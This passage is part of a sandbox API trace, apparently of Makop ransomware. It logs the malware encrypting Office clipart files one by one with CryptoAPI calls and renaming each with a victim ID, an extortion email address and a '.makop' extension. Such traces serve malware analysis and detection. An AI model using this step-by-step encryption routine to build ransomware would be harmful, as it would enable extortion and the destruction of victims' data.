nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0152.850] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0152.850] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0152.851] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0152.851] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0152.851] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0152.851] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.851] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.851] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.851] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4b7a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4b7a, lpOverlapped=0x0) returned 1 [0152.853] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4b80, dwBufLen=0x4b80 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4b80) returned 1 [0152.853] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.853] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4b80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4b80, lpOverlapped=0x0) returned 1 [0152.854] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.854] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4c54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.854] SetEndOfFile (hFile=0xf0) returned 1 [0152.860] GetProcessHeap () returned 0x48a0000 [0152.860] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0152.860] GetProcessHeap () returned 0x48a0000 [0152.860] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0152.861] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02794_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0152.861] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02794_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02794_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02794_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02794_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0152.863] CloseHandle (hObject=0xf0) returned 1 [0152.863] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1262e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02862_.WMF", cAlternateFileName="")) returned 1 [0152.863] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02862_.WMF") returned 63 [0152.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02862_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02862_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0152.865] GetProcessHeap () returned 0x48a0000 [0152.865] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0152.865] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0152.865] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0152.865] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0152.870] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.870] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.870] GetProcessHeap () returned 0x48a0000 [0152.870] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0152.870] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0152.870] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.870] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0152.870] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0152.870] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0152.870] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0152.871] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0152.871] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0152.871] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.871] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.871] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.871] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1262e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1262e, lpOverlapped=0x0) returned 1 [0152.874] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x12630, dwBufLen=0x12630 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x12630) returned 1 [0152.875] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.875] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x12630, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x12630, lpOverlapped=0x0) returned 1 [0152.875] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.875] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x12704, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.876] SetEndOfFile (hFile=0xf0) returned 1 [0152.883] GetProcessHeap () returned 0x48a0000 [0152.883] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0152.884] GetProcessHeap () returned 0x48a0000 [0152.884] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0152.884] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02862_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0152.884] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02862_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02862_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02862_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02862_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0152.886] CloseHandle (hObject=0xf0) returned 1 [0152.886] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x967a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02886_.WMF", cAlternateFileName="")) returned 1 [0152.886] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02886_.WMF") returned 63 [0152.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02886_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02886_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0152.888] GetProcessHeap () returned 0x48a0000 [0152.889] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0152.889] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0152.889] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0152.889] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0152.893] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.893] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.893] GetProcessHeap () returned 0x48a0000 [0152.893] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0152.893] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0152.893] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.893] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0152.894] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0152.894] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0152.894] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0152.894] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0152.894] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0152.894] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.894] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.895] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.895] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x967a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x967a, lpOverlapped=0x0) returned 1 [0152.897] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9680, dwBufLen=0x9680 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9680) returned 1 [0152.897] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.897] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x9680, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x9680, lpOverlapped=0x0) returned 1 [0152.898] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.898] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x9754, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.898] SetEndOfFile (hFile=0xf0) returned 1 [0152.905] GetProcessHeap () returned 0x48a0000 [0152.905] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0152.905] GetProcessHeap () returned 0x48a0000 [0152.905] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0152.905] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02886_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0152.905] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02886_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02886_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02886_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02886_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0152.907] CloseHandle (hObject=0xf0) returned 1 [0152.907] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x22f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02958_.WMF", cAlternateFileName="")) returned 1 [0152.907] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02958_.WMF") returned 63 [0152.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02958_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02958_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0152.909] GetProcessHeap () returned 0x48a0000 [0152.909] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0152.909] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0152.909] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0152.910] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0152.914] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.914] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.914] GetProcessHeap () returned 0x48a0000 [0152.914] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0152.914] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0152.914] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.914] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0152.914] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0152.914] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0152.915] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0152.915] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0152.915] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0152.915] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.915] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.915] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.915] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x22f4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x22f4, lpOverlapped=0x0) returned 1 [0152.917] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2300, dwBufLen=0x2300 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2300) returned 1 [0152.917] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.917] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2300, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2300, lpOverlapped=0x0) returned 1 [0152.917] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.918] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x23d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.918] SetEndOfFile (hFile=0xf0) returned 1 [0152.925] GetProcessHeap () returned 0x48a0000 [0152.925] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0152.925] GetProcessHeap () returned 0x48a0000 [0152.925] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0152.925] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02958_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0152.925] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02958_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02958_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02958_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02958_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0152.927] CloseHandle (hObject=0xf0) returned 1 [0152.927] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x107b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPACE_01.MID", cAlternateFileName="")) returned 1 [0152.927] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0152.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0152.929] GetProcessHeap () returned 0x48a0000 [0152.929] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0152.929] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0152.929] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0152.929] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x5, lpOverlapped=0x0) returned 1 [0152.934] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, 